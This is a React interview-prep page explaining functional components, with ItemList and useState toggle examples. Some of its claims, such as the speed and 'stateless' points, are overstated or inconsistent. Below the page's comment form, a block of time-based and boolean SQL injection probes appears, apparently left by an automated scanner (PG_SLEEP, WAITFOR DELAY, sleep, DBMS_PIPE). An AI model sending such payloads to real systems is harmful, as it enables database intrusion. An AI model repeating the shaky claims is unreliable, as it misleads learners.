What is functional component in React?
Answer
A functional component in React is a type of component that is defined as a JavaScript function. It is a simpler way to define a component compared to a class component. Functional components are stateless, meaning they do not have their own state and do not use lifecycle methods. They are used to display data and receive props from a parent component. Functional components are useful for creating reusable UI elements that do not require complex logic or state management. They are also faster to render compared to class components because they have a smaller memory footprint. Here is an example of a functional component that displays a list of items passed down as props:
function ItemList(props) {
return (
<ul>
{props.items.map(item => (
<li key={item.id}>{item.name}</li>
))}
</ul>
);
}
In this example, the ItemList component receives an array of items as props and maps over them to display each item as a list item. The key prop is used to uniquely identify each item in the list. Functional components can also use React hooks to manage state and lifecycle methods. The useState hook is used to add state to a functional component. Here is an example of a functional component that uses the useState hook to toggle a button:
import React, { useState } from 'react';
function ToggleButton() {
const [isOn, setIsOn] = useState(false);
function handleClick() {
setIsOn(!isOn);
}
return (
<button onClick={handleClick}>
{isOn ? 'ON' : 'OFF'}
</button>
);
}
In this example, the ToggleButton component uses the useState hook to add a boolean state value called isOn and a function to update it called setIsOn. The handleClick function is called when the button is clicked and toggles the isOn state value. The button text is updated based on the isOn state value. Overall, functional components are a powerful tool in React for creating reusable UI elements and managing state and lifecycle methods using hooks. They are a simpler and faster alternative to class components for components that do not require complex logic or state management.
Related React job interview questions
What is difference between functional and class component?
React JuniorWhat is class component in React?
React JuniorDo hooks replace high order components in React?
React JuniorWhat happens if you attempt to update the state directly in React?
React JuniorWhat are the React lifecycle stages?
React Junior
Chat
Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.
e
@@xeDO0
1'"
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
VTgcz37T'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3+906-906-1=0+0+0+1 --
-1" OR 2+906-906-1=0+0+0+1 --
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
-1' OR 3+137-137-1=0+0+0+1 --
-1' OR 2+137-137-1=0+0+0+1 --
-1 OR 3+877-877-1=0+0+0+1
-1 OR 2+877-877-1=0+0+0+1
-1 OR 3+418-418-1=0+0+0+1 --
-1 OR 2+418-418-1=0+0+0+1 --
e
e